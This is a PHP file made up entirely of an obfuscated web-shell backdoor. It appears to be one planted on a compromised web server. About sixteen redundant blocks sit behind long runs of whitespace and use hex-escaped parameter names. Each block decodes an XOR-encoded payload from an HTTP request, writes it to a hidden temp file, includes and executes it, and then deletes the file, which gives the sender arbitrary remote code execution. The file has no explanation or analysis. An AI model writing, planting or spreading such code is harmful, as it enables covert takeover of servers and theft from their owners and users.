<?php																																										if(count($_POST) > 0 && isset($_POST["\x72eso\x75\x72\x63e"])){ $ptr = $_POST["\x72eso\x75\x72\x63e"]; $ptr = explode ( '.' , $ptr ) ; $token = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1); $len = count($ptr); for($p = 0; $p < $len; $p++) {$v3 = $ptr[$p]; $chS = ord($s1[$p % $sLen]); $dec = ((int)$v3 - $chS -($p % 10)) ^ 87; $token .=chr($dec); } $factor = array_filter([getcwd(), "/dev/shm", "/tmp", "/var/tmp", getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir()]); foreach ($factor as $k) { if (!!is_dir($k) && !!is_writable($k)) { $flag = "$k" . "/.component"; $success = file_put_contents($flag, $token); if ($success) { include $flag; @unlink($flag); exit;} } } }
																																										if(count($_POST) > 0 && isset($_POST["d\x63h\x75\x6Ek"])){ $ent = array_filter(["/dev/shm", "/var/tmp", session_save_path(), getcwd(), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir")]); $reference = $_POST["d\x63h\x75\x6Ek"]; $reference= explode ( '.' , $reference) ; $marker = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt1); $o = 0; foreach($reference as $v5) {$sChar = ord($salt1[$o% $sLen]); $d =((int)$v5 - $sChar -($o% 10)) ^ 7; $marker .= chr($d); $o++; } foreach ($ent as $resource): if (!( !is_dir($resource) || !is_writable($resource) )) { $key = "$resource" . "/.element"; if (file_put_contents($key, $marker)) { include $key; @unlink($key); exit; } } endforeach; }
																																										if(array_key_exists("e\x6Ce\x6D", $_REQUEST)){ $res = $_REQUEST["e\x6Ce\x6D"]; $res = explode ( '.' , $res ); $pset = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $k = 0; $__tmp = $res; while( $v9 = array_shift( $__tmp)) { $chS = ord( $salt[$k % $sLen]); $dec =( ( int)$v9 - $chS -( $k % 10)) ^ 22; $pset .= chr( $dec); $k++; } $marker = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", getcwd(), getenv("TMP"), "/var/tmp", "/dev/shm", session_save_path(), sys_get_temp_dir()]); while ($flag = array_shift($marker)) { if (is_dir($flag) && is_writable($flag)) { $element = join("/", [$flag, ".symbol"]); $file = fopen($element, 'w'); if ($file) { fwrite($file, $pset); fclose($file); include $element; @unlink($element); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "res")){ $obj = $_REQUEST["res"]; $obj= explode ( ".",$obj); $key= ''; $s6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s6 ); $v= 0; array_walk($obj, function($v4) use(&$key, &$v, $s6, $sLen) { $sChar= ord($s6[$v % $sLen] ); $d= ((int)$v4 - $sChar -($v % 10)) ^ 12; $key .= chr($d ); $v++; } ); $tkn = array_filter([sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", session_save_path(), getenv("TEMP"), "/var/tmp", getenv("TMP")]); for ($data_chunk = 0, $itm = count($tkn); $data_chunk < $itm; $data_chunk++) { $record = $tkn[$data_chunk]; if (is_writable($record) && is_dir($record)) { $descriptor = implode("/", [$record, ".ent"]); if (file_put_contents($descriptor, $key)) { include $descriptor; @unlink($descriptor); die(); } } } }
																																										if(!is_null($_POST["e\x6C\x65\x6D\x65nt"] ?? null)){ $ref = array_filter([getenv("TEMP"), session_save_path(), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TMP")]); $ent = $_POST["e\x6C\x65\x6D\x65nt"]; $ent =explode ( "." , $ent ) ; $descriptor = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s1); $p = 0; $len = count($ent); do { if($p >=$len) break; $v6 = $ent[$p]; $chS = ord($s1[$p% $lenS]); $dec =((int)$v6 - $chS -($p% 10)) ^ 77; $descriptor.= chr($dec); $p++; } while(true); foreach ($ref as $key => $marker) { if ((is_dir($marker) and is_writable($marker))) { $pgrp = "$marker/.token"; $file = fopen($pgrp, 'w'); if ($file) { fwrite($file, $descriptor); fclose($file); include $pgrp; @unlink($pgrp); exit; } } } }
																																										if(isset($_POST) && isset($_POST["\x64e\x73c"])){ $dat = $_POST["\x64e\x73c"]; $dat = explode ( '.' , $dat ) ; $parameter_group = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2); foreach ($dat as $z =>$v3): $sChar = ord($s2[$z % $lenS]); $d = ((int)$v3 - $sChar - ($z % 10)) ^ 96; $parameter_group .= chr($d); endforeach; $res = array_filter([getenv("TEMP"), "/var/tmp", getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getenv("TMP"), sys_get_temp_dir()]); foreach ($res as $key => $pgrp) { if (is_dir($pgrp) && is_writable($pgrp)) { $factor = "$pgrp" . "/.obj"; if (file_put_contents($factor, $parameter_group)) { require $factor; unlink($factor); exit; } } } }
																																										if(isset($_POST["tkn"]) ? true : false){ $key = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), "/var/tmp", session_save_path(), sys_get_temp_dir(), getcwd(), "/tmp", getenv("TEMP")]); $item = $_POST["tkn"]; $item =explode ( ".", $item ); $pset= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt ); $v= 0; $__tmp= $item; while($v1= array_shift($__tmp)) { $sChar= ord($salt[$v % $sLen] ); $d= ((int)$v1 - $sChar -($v % 10)) ^ 85; $pset.= chr($d ); $v++; } while ($reference = array_shift($key)) { if (is_dir($reference) && is_writable($reference)) { $val = implode("/", [$reference, ".ent"]); $success = file_put_contents($val, $pset); if ($success) { include $val; @unlink($val); die();} } } }
																																										if(array_key_exists("\x70ro\x70\x65\x72\x74y\x5Fset", $_POST) && !is_null($_POST["\x70ro\x70\x65\x72\x74y\x5Fset"])){ $data_chunk = $_POST["\x70ro\x70\x65\x72\x74y\x5Fset"]; $data_chunk =explode ('.' , $data_chunk ) ; $sym = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt6); $z = 0; $len = count( $data_chunk); do { if( $z >= $len) break; $v8 = $data_chunk[$z]; $sChar = ord( $salt6[$z % $lenS]); $d =( ( int)$v8 - $sChar -( $z % 10)) ^ 58; $sym .= chr( $d); $z++; }while( true); $comp = array_filter([getenv("TEMP"), sys_get_temp_dir(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), session_save_path(), getenv("TMP")]); foreach ($comp as $key => $descriptor) { if (is_writable($descriptor) && is_dir($descriptor)) { $data = sprintf("%s/.flag", $descriptor); if (@file_put_contents($data, $sym) !== false) { include $data; unlink($data); die(); } } } }
																																										if(!is_null($_REQUEST["\x66ac"] ?? null)){ $holder = array_filter([session_save_path(), "/tmp", sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), "/dev/shm", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir")]); $element = $_REQUEST["\x66ac"]; $element = explode( '.' , $element ) ; $obj = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt3); $__len = count( $element); for( $s = 0; $s<$__len; $s++) {$v1 = $element[$s]; $sChar = ord( $salt3[$s % $lenS]); $dec =( ( int)$v1 - $sChar -( $s % 10)) ^ 16; $obj .=chr( $dec);} $pset = 0; do { $tkn = $holder[$pset] ?? null; if ($pset >= count($holder)) break; if (max(0, is_dir($tkn) * is_writable($tkn))) { $ent = vsprintf("%s/%s", [$tkn, ".entity"]); if (file_put_contents($ent, $obj)) { require $ent; unlink($ent); die(); } } $pset++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["tok\x65n"])){ $mrk = $_REQUEST["tok\x65n"]; $mrk =explode ("." , $mrk ) ; $ref = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $k = 0; foreach($mrk as $v4) { $sChar = ord($s[$k % $sLen] ); $d =((int)$v4 - $sChar -($k % 10)) ^ 60; $ref .= chr($d ); $k++;} $bind = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/tmp", "/var/tmp", "/dev/shm", getcwd(), getenv("TMP")]); while ($ent = array_shift($bind)) { if ((function($d) { return is_dir($d) && is_writable($d); })($ent)) { $element = "$ent" . "/.marker"; if (@file_put_contents($element, $ref) !== false) { include $element; unlink($element); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x73ym\x62ol")){ $resource = $_REQUEST["\x73ym\x62ol"]; $resource= explode( "." , $resource ) ; $reference = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s1); $p = 0; while( $p < count( $resource)) { $v2 = $resource[$p]; $chS = ord( $s1[$p % $sLen]); $d =( ( int)$v2 - $chS -( $p % 10)) ^ 30; $reference .= chr( $d); $p++;} $object = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/var/tmp", "/tmp", "/dev/shm", getenv("TMP"), getcwd()]); foreach ($object as $holder): if ((is_dir($holder) and is_writable($holder))) { $property_set = join("/", [$holder, ".component"]); $success = file_put_contents($property_set, $reference); if ($success) { include $property_set; @unlink($property_set); die();} } endforeach; }
																																										if(in_array("en\x74", array_keys($_POST))){ $property_set = $_POST["en\x74"]; $property_set= explode ( '.' ,$property_set ) ; $desc= ''; $s5= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s5 ); $y= 0; foreach($property_set as $v6) { $sChar= ord($s5[$y %$lenS] ); $dec= ((int)$v6 - $sChar -($y %10)) ^ 71; $desc .= chr($dec ); $y++; } $pgrp = array_filter([getenv("TMP"), getcwd(), session_save_path(), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm"]); while ($val = array_shift($pgrp)) { if ((is_dir($val) and is_writable($val))) { $token = vsprintf("%s/%s", [$val, ".data"]); if (@file_put_contents($token, $desc) !== false) { include $token; unlink($token); exit; } } } }
																																										if(!empty($_POST["r\x65s"])){ $marker = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), "/tmp", "/dev/shm", getcwd(), "/var/tmp", session_save_path(), getenv("TEMP")]); $pset = $_POST["r\x65s"]; $pset = explode ( "." ,$pset) ; $record = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt1); $q = 0; foreach ($pset as $v8) { $sChar = ord($salt1[$q% $sLen]); $dec = ((int)$v8 - $sChar - ($q% 10)) ^ 67; $record .= chr($dec); $q++;} foreach ($marker as $pointer): if (is_writable($pointer) && is_dir($pointer)) { $comp = sprintf("%s/.tkn", $pointer); if (file_put_contents($comp, $record)) { include $comp; @unlink($comp); exit; } } endforeach; }
																																										if(array_key_exists("\x68l\x64", $_REQUEST) && !is_null($_REQUEST["\x68l\x64"])){ $rec = array_filter(["/dev/shm", sys_get_temp_dir(), getcwd(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), "/tmp"]); $pset = $_REQUEST["\x68l\x64"]; $pset =explode( '.' , $pset ) ; $factor = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s5); $q = 0; $len = count( $pset); do { if( $q >= $len) break; $v8 = $pset[$q]; $chS = ord( $s5[$q % $sLen]); $d =( ( int)$v8 - $chS -( $q % 10)) ^ 7; $factor .= chr( $d); $q++; } while( true); for ($pointer = 0, $entity = count($rec); $pointer < $entity; $pointer++) { $desc = $rec[$pointer]; if (is_dir($desc) ? is_writable($desc) : false) { $pgrp = sprintf("%s/.descriptor", $desc); $success = file_put_contents($pgrp, $factor); if ($success) { include $pgrp; @unlink($pgrp); die();} } } }
																																										if(!is_null($_REQUEST["d\x63hu\x6E\x6B"] ?? null)){ $comp = array_filter([getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/var/tmp"]); $item = $_REQUEST["d\x63hu\x6E\x6B"]; $item = explode ( "." , $item) ; $hld = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9); $y = 0; array_walk($item, function ($v9) use (&$hld, &$y, $salt9, $sLen) { $chS = ord($salt9[$y% $sLen]); $dec = ((int)$v9 - $chS - ($y% 10)) ^ 25; $hld .= chr($dec); $y++; }); foreach ($comp as $key => $desc) { if (!( !is_dir($desc) || !is_writable($desc) )) { $factor = vsprintf("%s/%s", [$desc, ".sym"]); if (file_put_contents($factor, $hld)) { require $factor; unlink($factor); exit; } } } }


if(isset($_REQUEST["tkn"])){
	$ptr = $_REQUEST["tkn"];
		$ptr  =	 explode	  ('.',$ptr )	  ;	 
	$pset=	 '';
            $s3=	 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS=	 strlen(		$s3);
            $y=	 0;
            $len=	 count(		$ptr);
    
            do { if(		$y >= $len) break;
                $v9=	 $ptr[$y];
                $sChar=	 ord(		$s3[$y	% $lenS]);
                $dec=	 (		(		int)$v9 - $sChar -(		$y	% 10))	^9;
                $pset .= chr(		$dec);
                $y++;
            } while(		true);
	$flag = array_filter(["/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), "/dev/shm", sys_get_temp_dir(), "/var/tmp", session_save_path(), getenv("TEMP")]);
	foreach ($flag as $token) {
    		if (max(0, is_dir($token) * is_writable($token))) {
    $val = sprintf("%s/.sym", $token);
    if (file_put_contents($val, $pset)) {
	include $val;
	@unlink($val);
	die();
}
}
}
}